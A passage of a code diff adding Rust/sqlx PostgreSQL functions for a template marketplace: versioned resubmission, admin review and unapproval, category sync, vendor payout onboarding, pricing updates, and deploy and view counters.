('draft','rejected','needs_changes')"#, + template_id + ) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("submit_for_review error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(res.rows_affected() > 0) +} + +/// Resubmit a template for review with a new version. +/// Allowed from statuses: rejected, needs_changes, approved (for version updates). +/// Creates a new version, resets status to 'submitted'. +pub async fn resubmit_with_new_version( + pool: &PgPool, + template_id: &uuid::Uuid, + name: Option<&str>, + short_description: Option<&str>, + long_description: Option<&str>, + category_code: Option<&str>, + tags: Option, + tech_stack: Option, + infrastructure_requirements: Option, + price: Option, + billing_cycle: Option<&str>, + required_plan_name: Option<&str>, + currency: Option<&str>, + public_ports: Option, + vendor_url: Option<&str>, + version: &str, + stack_definition: serde_json::Value, + definition_format: Option<&str>, + changelog: Option<&str>, + config_files: serde_json::Value, + assets: serde_json::Value, + seed_jobs: serde_json::Value, + post_deploy_hooks: serde_json::Value, + update_mode_capabilities: Option, +) -> Result { + let query_span = + tracing::info_span!("marketplace_resubmit_with_new_version", template_id = %template_id); + + let mut tx = pool.begin().await.map_err(|e| { + tracing::error!("tx begin error: {:?}", e); + "Internal Server Error".to_string() + })?; + + // Update status to submitted (allowed from rejected, needs_changes, approved) + let res = sqlx::query!( + r#"UPDATE stack_template SET status = 'submitted', updated_at = now() + WHERE id = $1::uuid AND status IN ('rejected', 'needs_changes', 'approved')"#, + template_id + ) + .execute(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("resubmit status update error: {:?}", e); + "Internal Server Error".to_string() + })?; + + if res.rows_affected() == 0 { + return Err("Template cannot be resubmitted from its current status".to_string()); + } + + if let Some(category_code) = category_code { + sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#) + .bind(category_code) + .execute(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("resubmit category upsert error: {:?}", e); + "Internal Server Error".to_string() + })?; + } + + sqlx::query( + r#"UPDATE stack_template SET + name = COALESCE($2, name), + short_description = COALESCE($3, short_description), + long_description = COALESCE($4, long_description), + category_id = COALESCE((SELECT id FROM stack_category WHERE name = $5), category_id), + tags = COALESCE($6, tags), + tech_stack = COALESCE($7, tech_stack), + infrastructure_requirements = COALESCE($8, infrastructure_requirements), + price = COALESCE($9, price), + billing_cycle = COALESCE($10, billing_cycle), + required_plan_name = COALESCE($11, required_plan_name), + currency = COALESCE($12, currency), + public_ports = COALESCE($13, public_ports), + vendor_url = COALESCE($14, vendor_url) + WHERE id = $1::uuid"#, + ) + .bind(template_id) + .bind(name) + .bind(short_description) + .bind(long_description) + .bind(category_code) + .bind(tags.clone()) + .bind(tech_stack.clone()) + .bind(infrastructure_requirements.clone()) + .bind(price) + .bind(billing_cycle) + .bind(required_plan_name) + .bind(currency) + .bind(public_ports.clone()) + .bind(vendor_url) + .execute(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("resubmit metadata update error: {:?}", e); + "Internal Server Error".to_string() + })?; + + let current_latest = sqlx::query_as::<_, StackTemplateVersion>( + r#"SELECT + id, + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest, + created_at + FROM stack_template_version + WHERE template_id = $1 AND is_latest = true + LIMIT 1"#, + ) + .bind(template_id) + .fetch_optional(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("load current latest version error: {:?}", e); + "Internal Server Error".to_string() + })?; + + if let Some(current_latest) = current_latest { + if current_latest.version == version { + let ver = sqlx::query_as::<_, StackTemplateVersion>( + r#"UPDATE stack_template_version + SET stack_definition = $2, + config_files = $3, + assets = $4, + seed_jobs = $5, + post_deploy_hooks = $6, + update_mode_capabilities = $7, + definition_format = $8, + changelog = $9, + is_latest = true + WHERE id = $1 + RETURNING + id, + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest, + created_at"#, + ) + .bind(current_latest.id) + .bind(stack_definition.clone()) + .bind(config_files.clone()) + .bind(assets.clone()) + .bind(seed_jobs.clone()) + .bind(post_deploy_hooks.clone()) + .bind(update_mode_capabilities.clone()) + .bind(definition_format) + .bind(changelog) + .fetch_one(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("update same-version resubmit error: {:?}", e); + "Internal Server Error".to_string() + })?; + + tx.commit().await.map_err(|e| { + tracing::error!("tx commit error: {:?}", e); + "Internal Server Error".to_string() + })?; + + return Ok(ver); + } + } + + // Clear previous latest version + sqlx::query!( + r#"UPDATE stack_template_version SET is_latest = false WHERE template_id = $1 AND is_latest = true"#, + template_id + ) + .execute(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("clear latest version error: {:?}", e); + "Internal Server Error".to_string() + })?; + + // Insert new version + let ver = sqlx::query_as::<_, StackTemplateVersion>( + r#"INSERT INTO stack_template_version ( + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest + ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,true) + RETURNING + id, + template_id, + version, + stack_definition, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + definition_format, + changelog, + is_latest, + created_at"#, + ) + .bind(template_id) + .bind(version) + .bind(stack_definition) + .bind(config_files) + .bind(assets) + .bind(seed_jobs) + .bind(post_deploy_hooks) + .bind(update_mode_capabilities) + .bind(definition_format) + .bind(changelog) + .fetch_one(&mut *tx) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("insert new version error: {:?}", e); + "Internal Server Error".to_string() + })?; + + tx.commit().await.map_err(|e| { + tracing::error!("tx commit error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(ver) +} + +pub async fn list_mine(pool: &PgPool, user_id: &str) -> Result, String> { + let query_span = tracing::info_span!("marketplace_list_mine", user = %user_id); + + sqlx::query_as::<_, StackTemplate>( + r#"SELECT + t.id, + t.creator_user_id, + t.creator_name, + t.name, + t.slug, + t.short_description, + t.long_description, + c.name AS "category_code", + t.product_id, + t.tags, + t.tech_stack, + t.status, + t.is_configurable, + t.view_count, + t.deploy_count, + t.required_plan_name, + t.price, + t.billing_cycle, + t.currency, + t.created_at, + t.updated_at, + t.approved_at, + t.verifications, + t.infrastructure_requirements, + t.public_ports, + t.vendor_url, + v.version, + v.changelog, + COALESCE(v.config_files, '[]'::jsonb) AS config_files, + COALESCE(v.assets, '[]'::jsonb) AS assets, + COALESCE(v.seed_jobs, '[]'::jsonb) AS seed_jobs, + COALESCE(v.post_deploy_hooks, '[]'::jsonb) AS post_deploy_hooks, + v.update_mode_capabilities + FROM stack_template t + LEFT JOIN stack_template_version v ON v.template_id = t.id AND v.is_latest = true + LEFT JOIN stack_category c ON t.category_id = c.id + WHERE t.creator_user_id = $1 + ORDER BY t.created_at DESC"#, + ) + .bind(user_id) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("list_mine error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn admin_list_submitted(pool: &PgPool) -> Result, String> { + let query_span = tracing::info_span!("marketplace_admin_list_submitted"); + + sqlx::query_as::<_, StackTemplate>( + r#"SELECT + t.id, + t.creator_user_id, + t.creator_name, + t.name, + t.slug, + t.short_description, + t.long_description, + c.name AS "category_code", + t.product_id, + t.tags, + t.tech_stack, + t.status, + t.is_configurable, + t.view_count, + t.deploy_count, + t.required_plan_name, + t.price, + t.billing_cycle, + t.currency, + t.created_at, + t.updated_at, + t.approved_at, + t.verifications, + t.infrastructure_requirements, + t.public_ports, + t.vendor_url + FROM stack_template t + LEFT JOIN stack_category c ON t.category_id = c.id + WHERE t.status IN ('submitted', 'approved') + ORDER BY + CASE t.status + WHEN 'submitted' THEN 0 + WHEN 'approved' THEN 1 + END, + t.created_at ASC"#, + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("admin_list_submitted error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn admin_decide( + pool: &PgPool, + template_id: &uuid::Uuid, + reviewer_user_id: &str, + decision: &str, + review_reason: Option<&str>, + verifications: Option<&serde_json::Value>, +) -> Result { + let _query_span = tracing::info_span!("marketplace_admin_decide", template_id = %template_id, decision = %decision); + + let valid = ["approved", "rejected", "needs_changes"]; + if !valid.contains(&decision) { + return Err("Invalid decision".to_string()); + } + + let mut tx = pool.begin().await.map_err(|e| { + tracing::error!("tx begin error: {:?}", e); + "Internal Server Error".to_string() + })?; + + sqlx::query!( + r#"INSERT INTO stack_template_review (template_id, reviewer_user_id, decision, review_reason, reviewed_at) VALUES ($1::uuid, $2, $3, $4, now())"#, + template_id, + reviewer_user_id, + decision, + review_reason + ) + .execute(&mut *tx) + .await + .map_err(|e| { + tracing::error!("insert review error: {:?}", e); + "Internal Server Error".to_string() + })?; + + let status_sql = if decision == "approved" { + "approved" + } else if decision == "rejected" { + "rejected" + } else { + "needs_changes" + }; + let should_set_approved = decision == "approved"; + + sqlx::query!( + r#"UPDATE stack_template SET status = $2, approved_at = CASE WHEN $3 THEN now() ELSE approved_at END WHERE id = $1::uuid"#, + template_id, + status_sql, + should_set_approved + ) + .execute(&mut *tx) + .await + .map_err(|e| { + tracing::error!("update template status error: {:?}", e); + "Internal Server Error".to_string() + })?; + + // Merge admin verifications into template.verifications if provided + if let Some(v) = verifications { + sqlx::query( + r#"UPDATE stack_template SET verifications = verifications || $2::jsonb WHERE id = $1::uuid"#, + ) + .bind(template_id) + .bind(v) + .execute(&mut *tx) + .await + .map_err(|e| { + tracing::error!("update verifications error: {:?}", e); + "Internal Server Error".to_string() + })?; + } + + tx.commit().await.map_err(|e| { + tracing::error!("tx commit error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(true) +} + +/// Unapprove a template: set status back to 'submitted' and clear approved_at. +/// This hides the template from the marketplace until re-approved. +pub async fn admin_unapprove( + pool: &PgPool, + template_id: &uuid::Uuid, + reviewer_user_id: &str, + reason: Option<&str>, +) -> Result { + let _query_span = + tracing::info_span!("marketplace_admin_unapprove", template_id = %template_id); + + let mut tx = pool.begin().await.map_err(|e| { + tracing::error!("tx begin error: {:?}", e); + "Internal Server Error".to_string() + })?; + + // Insert a review record documenting the unapproval + sqlx::query!( + r#"INSERT INTO stack_template_review (template_id, reviewer_user_id, decision, review_reason, reviewed_at) VALUES ($1::uuid, $2, 'rejected', $3, now())"#, + template_id, + reviewer_user_id, + reason + ) + .execute(&mut *tx) + .await + .map_err(|e| { + tracing::error!("insert unapproval review error: {:?}", e); + "Internal Server Error".to_string() + })?; + + // Set status back to 'submitted' and clear approved_at + let result = sqlx::query!( + r#"UPDATE stack_template SET status = 'submitted', approved_at = NULL WHERE id = $1::uuid AND status = 'approved'"#, + template_id, + ) + .execute(&mut *tx) + .await + .map_err(|e| { + tracing::error!("unapprove template error: {:?}", e); + "Internal Server Error".to_string() + })?; + + tx.commit().await.map_err(|e| { + tracing::error!("tx commit error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(result.rows_affected() > 0) +} + +/// Sync categories from User Service to local mirror +/// Upserts category data (id, name, title, metadata) +pub async fn sync_categories( + pool: &PgPool, + categories: Vec, +) -> Result { + let query_span = tracing::info_span!("sync_categories", count = categories.len()); + let _enter = query_span.enter(); + + if categories.is_empty() { + tracing::info!("No categories to sync"); + return Ok(0); + } + + let mut synced_count = 0; + let mut error_count = 0; + + for category in categories { + // Use INSERT ... ON CONFLICT DO UPDATE to upsert + // Handle conflicts on both id and name (both have unique constraints) + let result = sqlx::query( + r#" + INSERT INTO stack_category (id, name, title, metadata) + VALUES ($1, $2, $3, $4) + ON CONFLICT (id) DO UPDATE + SET name = EXCLUDED.name, + title = EXCLUDED.title, + metadata = EXCLUDED.metadata + "#, + ) + .bind(category.id) + .bind(&category.name) + .bind(&category.title) + .bind(serde_json::json!({"priority": category.priority})) + .execute(pool) + .await; + + // If conflict on id fails, try conflict on name + let result = match result { + Ok(r) => Ok(r), + Err(e) if e.to_string().contains("stack_category_name_key") => { + sqlx::query( + r#" + INSERT INTO stack_category (id, name, title, metadata) + VALUES ($1, $2, $3, $4) + ON CONFLICT (name) DO UPDATE + SET id = EXCLUDED.id, + title = EXCLUDED.title, + metadata = EXCLUDED.metadata + "#, + ) + .bind(category.id) + .bind(&category.name) + .bind(&category.title) + .bind(serde_json::json!({"priority": category.priority})) + .execute(pool) + .await + } + Err(e) => Err(e), + }; + + match result { + Ok(res) if res.rows_affected() > 0 => { + synced_count += 1; + } + Ok(_) => { + tracing::debug!("Category {} already up to date", category.name); + } + Err(e) => { + tracing::error!("Failed to sync category {}: {:?}", category.name, e); + error_count += 1; + } + } + } + + if error_count > 0 { + tracing::warn!( + "Synced {} categories with {} errors", + synced_count, + error_count + ); + } else { + tracing::info!("Synced {} categories from User Service", synced_count); + } + + Ok(synced_count) +} + +/// Get all categories from local mirror +pub async fn get_categories(pool: &PgPool) -> Result, String> { + let query_span = tracing::info_span!("get_categories"); + + sqlx::query_as::<_, StackCategory>( + r#" + SELECT id, name, title, metadata + FROM stack_category + ORDER BY id + "#, + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to fetch categories: {:?}", e); + "Internal Server Error".to_string() + }) +} + +/// List all versions for a template, ordered by creation date descending +pub async fn list_versions_by_template( + pool: &PgPool, + template_id: uuid::Uuid, +) -> Result, String> { + let query_span = tracing::info_span!("list_versions_by_template", template_id = %template_id); + + sqlx::query_as::<_, StackTemplateVersion>( + r#" + SELECT id, template_id, version, stack_definition, config_files, assets, seed_jobs, + post_deploy_hooks, update_mode_capabilities, definition_format, changelog, + is_latest, created_at + FROM stack_template_version + WHERE template_id = $1 + ORDER BY created_at DESC + "#, + ) + .bind(template_id) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("list_versions_by_template error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn get_latest_version_by_template( + pool: &PgPool, + template_id: uuid::Uuid, +) -> Result, String> { + let query_span = + tracing::info_span!("get_latest_version_by_template", template_id = %template_id); + + sqlx::query_as::<_, StackTemplateVersion>( + r#" + SELECT id, template_id, version, stack_definition, config_files, assets, seed_jobs, + post_deploy_hooks, update_mode_capabilities, definition_format, changelog, + is_latest, created_at + FROM stack_template_version + WHERE template_id = $1 AND is_latest = true + LIMIT 1 + "#, + ) + .bind(template_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("get_latest_version_by_template error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn upsert_latest_version_asset( + pool: &PgPool, + template_id: uuid::Uuid, + asset: &serde_json::Value, +) -> Result { + let query_span = tracing::info_span!("upsert_latest_version_asset", template_id = %template_id); + + let existing_assets: serde_json::Value = sqlx::query_scalar( + r#" + SELECT assets + FROM stack_template_version + WHERE template_id = $1 AND is_latest = true + LIMIT 1 + "#, + ) + .bind(template_id) + .fetch_optional(pool) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("load_latest_version_assets error: {:?}", e); + "Internal Server Error".to_string() + })? + .ok_or_else(|| "Latest template version not found".to_string())?; + + let asset_key = asset + .get("key") + .and_then(|value| value.as_str()) + .ok_or_else(|| "Asset key is required".to_string())?; + + let mut assets = existing_assets.as_array().cloned().unwrap_or_default(); + if let Some(index) = assets.iter().position(|item| { + item.get("key") + .and_then(|value| value.as_str()) + .map(|key| key == asset_key) + .unwrap_or(false) + }) { + assets[index] = asset.clone(); + } else { + assets.push(asset.clone()); + } + + let updated_assets = serde_json::Value::Array(assets); + + sqlx::query( + r#" + UPDATE stack_template_version + SET assets = $2 + WHERE template_id = $1 AND is_latest = true + "#, + ) + .bind(template_id) + .bind(&updated_assets) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("upsert_latest_version_asset error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(updated_assets) +} + +pub async fn get_latest_version_asset_by_key( + pool: &PgPool, + template_id: uuid::Uuid, + asset_key: &str, +) -> Result, String> { + let query_span = tracing::info_span!( + "get_latest_version_asset_by_key", + template_id = %template_id, + asset_key = %asset_key + ); + + let assets: serde_json::Value = sqlx::query_scalar( + r#" + SELECT assets + FROM stack_template_version + WHERE template_id = $1 AND is_latest = true + LIMIT 1 + "#, + ) + .bind(template_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("get_latest_version_asset_by_key error: {:?}", e); + "Internal Server Error".to_string() + })? + .unwrap_or_else(|| serde_json::Value::Array(vec![])); + + Ok(assets.as_array().and_then(|items| { + items + .iter() + .find(|item| { + item.get("key") + .and_then(|value| value.as_str()) + .map(|key| key == asset_key) + .unwrap_or(false) + }) + .cloned() + })) +} + +/// List all reviews for a template, ordered by submission date descending +pub async fn list_reviews_by_template( + pool: &PgPool, + template_id: uuid::Uuid, +) -> Result, String> { + let query_span = tracing::info_span!("list_reviews_by_template", template_id = %template_id); + + sqlx::query_as::<_, StackTemplateReview>( + r#" + SELECT id, template_id, reviewer_user_id, decision, review_reason, + security_checklist, submitted_at, reviewed_at + FROM stack_template_review + WHERE template_id = $1 + ORDER BY submitted_at DESC + "#, + ) + .bind(template_id) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("list_reviews_by_template error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn get_vendor_profile_by_creator( + pool: &PgPool, + creator_user_id: &str, +) -> Result, String> { + let query_span = + tracing::info_span!("get_vendor_profile_by_creator", creator_user_id = %creator_user_id); + + sqlx::query_as::<_, MarketplaceVendorProfile>( + r#"SELECT + creator_user_id, + verification_status, + onboarding_status, + payouts_enabled, + payout_provider, + payout_account_ref, + metadata, + created_at, + updated_at + FROM marketplace_vendor_profile + WHERE creator_user_id = $1"#, + ) + .bind(creator_user_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("get_vendor_profile_by_creator error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +pub async fn upsert_vendor_profile( + pool: &PgPool, + creator_user_id: &str, + verification_status: Option<&str>, + onboarding_status: Option<&str>, + payouts_enabled: Option, + payout_provider: Option<&str>, + payout_account_ref: Option<&str>, + metadata: Option, +) -> Result { + let query_span = + tracing::info_span!("upsert_vendor_profile", creator_user_id = %creator_user_id); + + sqlx::query_as::<_, MarketplaceVendorProfile>( + r#"INSERT INTO marketplace_vendor_profile ( + creator_user_id, + verification_status, + onboarding_status, + payouts_enabled, + payout_provider, + payout_account_ref, + metadata + ) + VALUES ( + $1, + COALESCE($2, 'unverified'), + COALESCE($3, 'not_started'), + COALESCE($4, false), + $5, + $6, + COALESCE($7, '{}'::jsonb) + ) + ON CONFLICT (creator_user_id) DO UPDATE SET + verification_status = COALESCE($2, marketplace_vendor_profile.verification_status), + onboarding_status = COALESCE($3, marketplace_vendor_profile.onboarding_status), + payouts_enabled = COALESCE($4, marketplace_vendor_profile.payouts_enabled), + payout_provider = COALESCE($5, marketplace_vendor_profile.payout_provider), + payout_account_ref = COALESCE($6, marketplace_vendor_profile.payout_account_ref), + metadata = COALESCE($7, marketplace_vendor_profile.metadata), + updated_at = NOW() + RETURNING + creator_user_id, + verification_status, + onboarding_status, + payouts_enabled, + payout_provider, + payout_account_ref, + metadata, + created_at, + updated_at"#, + ) + .bind(creator_user_id) + .bind(verification_status) + .bind(onboarding_status) + .bind(payouts_enabled) + .bind(payout_provider) + .bind(payout_account_ref) + .bind(metadata) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("upsert_vendor_profile error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +fn metadata_object(metadata: &Value) -> Map { + match metadata { + Value::Object(map) => map.clone(), + _ => Map::new(), + } +} + +fn onboarding_object(metadata: &Value) -> Map { + metadata + .get("onboarding") + .and_then(Value::as_object) + .cloned() + .unwrap_or_default() +} + +fn merge_onboarding_link_metadata(metadata: &Value) -> Value { + let now = Utc::now().to_rfc3339(); + let mut root = metadata_object(metadata); + let mut onboarding = onboarding_object(metadata); + + if !onboarding.contains_key("started_at") { + onboarding.insert("started_at".to_string(), Value::String(now.clone())); + } + + let request_count = onboarding + .get("link_request_count") + .and_then(Value::as_i64) + .unwrap_or(0) + + 1; + + onboarding.insert( + "last_link_requested_at".to_string(), + Value::String(now.clone()), + ); + onboarding.insert( + "link_request_count".to_string(), + Value::Number(request_count.into()), + ); + + root.insert("onboarding".to_string(), Value::Object(onboarding)); + Value::Object(root) +} + +fn merge_onboarding_completion_metadata(metadata: &Value, source: &str) -> Value { + let now = Utc::now().to_rfc3339(); + let mut root = metadata_object(metadata); + let mut onboarding = onboarding_object(metadata); + + onboarding.insert("completed_at".to_string(), Value::String(now)); + onboarding.insert( + "completion_source".to_string(), + Value::String(source.to_string()), + ); + + root.insert("onboarding".to_string(), Value::Object(onboarding)); + Value::Object(root) +} + +pub async fn ensure_vendor_onboarding_link( + pool: &PgPool, + creator_user_id: &str, + payout_provider: &str, + generated_account_ref: &str, +) -> Result<(MarketplaceVendorProfile, bool), String> { + let existing = get_vendor_profile_by_creator(pool, creator_user_id).await?; + let linkage_created = existing + .as_ref() + .map(|profile| profile.payout_provider.is_none() || profile.payout_account_ref.is_none()) + .unwrap_or(true); + + let verification_status = existing + .as_ref() + .map(|profile| profile.verification_status.as_str()) + .unwrap_or("unverified"); + let onboarding_status = match existing + .as_ref() + .map(|profile| profile.onboarding_status.as_str()) + { + Some("not_started") | None => "in_progress", + Some(status) => status, + }; + let payouts_enabled = existing + .as_ref() + .map(|profile| profile.payouts_enabled) + .unwrap_or(false); + let payout_provider = existing + .as_ref() + .and_then(|profile| profile.payout_provider.as_deref()) + .unwrap_or(payout_provider); + let payout_account_ref = existing + .as_ref() + .and_then(|profile| profile.payout_account_ref.as_deref()) + .unwrap_or(generated_account_ref); + let existing_metadata = existing + .as_ref() + .map(|profile| profile.metadata.clone()) + .unwrap_or_else(|| Value::Object(Map::new())); + let metadata = merge_onboarding_link_metadata(&existing_metadata); + + let profile = upsert_vendor_profile( + pool, + creator_user_id, + Some(verification_status), + Some(onboarding_status), + Some(payouts_enabled), + Some(payout_provider), + Some(payout_account_ref), + Some(metadata), + ) + .await?; + + Ok((profile, linkage_created)) +} + +pub async fn complete_vendor_onboarding( + pool: &PgPool, + creator_user_id: &str, + source: &str, +) -> Result, String> { + let existing = match get_vendor_profile_by_creator(pool, creator_user_id).await? { + Some(profile) => profile, + None => return Ok(None), + }; + + if existing.payout_provider.is_none() || existing.payout_account_ref.is_none() { + return Ok(None); + } + + if existing.onboarding_status == "not_started" { + return Ok(None); + } + + if existing.onboarding_status == "completed" { + return Ok(Some((existing, false))); + } + + let metadata = merge_onboarding_completion_metadata(&existing.metadata, source); + let profile = upsert_vendor_profile( + pool, + creator_user_id, + Some(&existing.verification_status), + Some("completed"), + Some(existing.payouts_enabled), + existing.payout_provider.as_deref(), + existing.payout_account_ref.as_deref(), + Some(metadata), + ) + .await?; + + Ok(Some((profile, true))) +} + +/// Save a security scan result as a review record with security_checklist populated +pub async fn save_security_scan( + pool: &PgPool, + template_id: &uuid::Uuid, + reviewer_user_id: &str, + security_checklist: serde_json::Value, +) -> Result { + let query_span = tracing::info_span!("save_security_scan", template_id = %template_id); + + sqlx::query_as::<_, StackTemplateReview>( + r#" + INSERT INTO stack_template_review + (template_id, reviewer_user_id, decision, review_reason, security_checklist, submitted_at, reviewed_at) + VALUES ($1, $2, 'pending', 'Automated security scan', $3, now(), now()) + RETURNING id, template_id, reviewer_user_id, decision, review_reason, security_checklist, submitted_at, reviewed_at + "#, + ) + .bind(template_id) + .bind(reviewer_user_id) + .bind(&security_checklist) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("save_security_scan error: {:?}", e); + "Internal Server Error".to_string() + }) +} + +/// Admin: update pricing fields on any template regardless of status. +/// Normalizes price to 0 when billing_cycle is "free". +pub async fn admin_update_pricing( + pool: &PgPool, + template_id: &uuid::Uuid, + price: Option, + billing_cycle: Option<&str>, + required_plan_name: Option<&str>, + currency: Option<&str>, +) -> Result { + let query_span = tracing::info_span!( + "marketplace_admin_update_pricing", + template_id = %template_id + ); + + // Normalize price=0 when billing_cycle is "free" + let normalized_price = match billing_cycle { + Some("free") => Some(0.0_f64), + _ => price, + }; + + let res = sqlx::query( + r#"UPDATE stack_template SET + price = COALESCE($2, price), + billing_cycle = COALESCE($3, billing_cycle), + required_plan_name = COALESCE($4, required_plan_name), + currency = COALESCE($5, currency) + WHERE id = $1"#, + ) + .bind(*template_id) + .bind(normalized_price) + .bind(billing_cycle) + .bind(required_plan_name) + .bind(currency) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("admin_update_pricing error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(res.rows_affected() > 0) +} + +/// Merge `updates` into the `verifications` JSONB column on a template. +/// Uses the PostgreSQL `||` operator so only the provided keys are overwritten. +pub async fn update_verifications( + pool: &PgPool, + template_id: &uuid::Uuid, + updates: serde_json::Value, +) -> Result { + let query_span = + tracing::info_span!("marketplace_update_verifications", template_id = %template_id); + + let res = sqlx::query( + r#"UPDATE stack_template + SET verifications = verifications || $2 + WHERE id = $1"#, + ) + .bind(*template_id) + .bind(&updates) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("update_verifications error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(res.rows_affected() > 0) +} + +/// Increment view_count for a marketplace template +pub async fn increment_view_count(pool: &PgPool, template_id: &uuid::Uuid) -> Result { + let query_span = + tracing::info_span!("marketplace_increment_view_count", template_id = %template_id); + + let res = sqlx::query( + r#"UPDATE stack_template SET view_count = COALESCE(view_count, 0) + 1 WHERE id = $1"#, + ) + .bind(*template_id) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("increment_view_count error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(res.rows_affected() > 0) +} + +/// Increment deploy_count for a marketplace template +pub async fn increment_deploy_count( + pool: &PgPool, + template_id: &uuid::Uuid, +) -> Result { + let query_span = + tracing::info_span!("marketplace_increment_deploy_count", template_id = %template_id); + + let res = sqlx::query( + r#"UPDATE stack_template SET deploy_count = COALESCE(deploy_count, 0) + 1 WHERE id = $1"#, + ) + .bind(*template_id) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("increment_deploy_count error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(res.rows_affected() > 0) +} + +/// Record a successful marketplace deployment and increment deploy_count only once. +/// +/// Returns: +/// - Ok(None) when the template does not exist +/// - Ok(Some(true)) when a new deployment_hash was recorded and deploy_count incremented +/// - Ok(Some(false)) when deployment_hash was already recorded +pub async fn record_deploy_complete_once( + pool: &PgPool, + template_id: &uuid::Uuid, + deployment_hash: &str, + server_ip: Option<&str>, +) -> Result, String> { + let query_span = tracing::info_span!( + "marketplace_record_deploy_complete_once", + template_id = %template_id, + deployment_hash = %deployment_hash + ); + + let mut tx = pool.begin().await.map_err(|e| { + tracing::error!("record_deploy_complete_once begin error: {:?}", e); + "Internal Server Error".to_string() + })?; + + let template_exists: Option = + sqlx::query_scalar(r#"SELECT 1 FROM stack_template WHERE id = $1"#) + .bind(*template_id) + .fetch_optional(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("record_deploy_complete_once template lookup error: {:?}", e); + "Internal Server Error".to_string() + })?; + + if template_exists.is_none() { + tx.rollback().await.map_err(|e| { + tracing::error!("record_deploy_complete_once rollback error: {:?}", e); + "Internal Server Error".to_string() + })?; + return Ok(None); + } + + let insert_res = sqlx::query( + r#"INSERT INTO stack_template_deployment (template_id, deployment_hash, server_ip) + VALUES ($1, $2, $3) + ON CONFLICT (deployment_hash) DO NOTHING"#, + ) + .bind(*template_id) + .bind(deployment_hash) + .bind(server_ip) + .execute(&mut *tx) + .instrument(query_span.clone()) + .await + .map_err(|e| { + tracing::error!("record_deploy_complete_once insert error: {:?}", e); + "Internal Server Error".to_string() + })?; + + if insert_res.rows_affected() == 0 { + tx.commit().await.map_err(|e| { + tracing::error!( + "record_deploy_complete_once duplicate commit error: {:?}", + e + ); + "Internal Server Error".to_string() + })?; + return Ok(Some(false)); + } + + sqlx::query( + r#"UPDATE stack_template + SET deploy_count = COALESCE(deploy_count, 0) + 1 + WHERE id = $1"#, + ) + .bind(*template_id) + .execute(&mut *tx) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("record_deploy_complete_once increment error: {:?}", e); + "Internal Server Error".to_string() + })?; + + tx.commit().await.map_err(|e| { + tracing::error!("record_deploy_complete_once commit error: {:?}", e); + "Internal Server Error".to_string() + })?; + + Ok(Some(true)) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// TDD Stub Functions for Metrics/Analytics +// These are intentionally unimplemented - tests will FAIL until implemented +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Insert a view event into marketplace_event table +/// +/// TDD stub - unimplemented. Requires: +/// - marketplace_event table migration +/// - INSERT query with template_id, event_type='view', viewer_user_id, occurred_at, metadata +pub async fn insert_view_event( + _pool: &PgPool, + _template_id: uuid::Uuid, + _viewer_user_id: &str, + _metadata: serde_json::Value, +) -> Result<(), String> { + Err("insert_view_event not implemented - requires marketplace_event table".to_string()) +} + 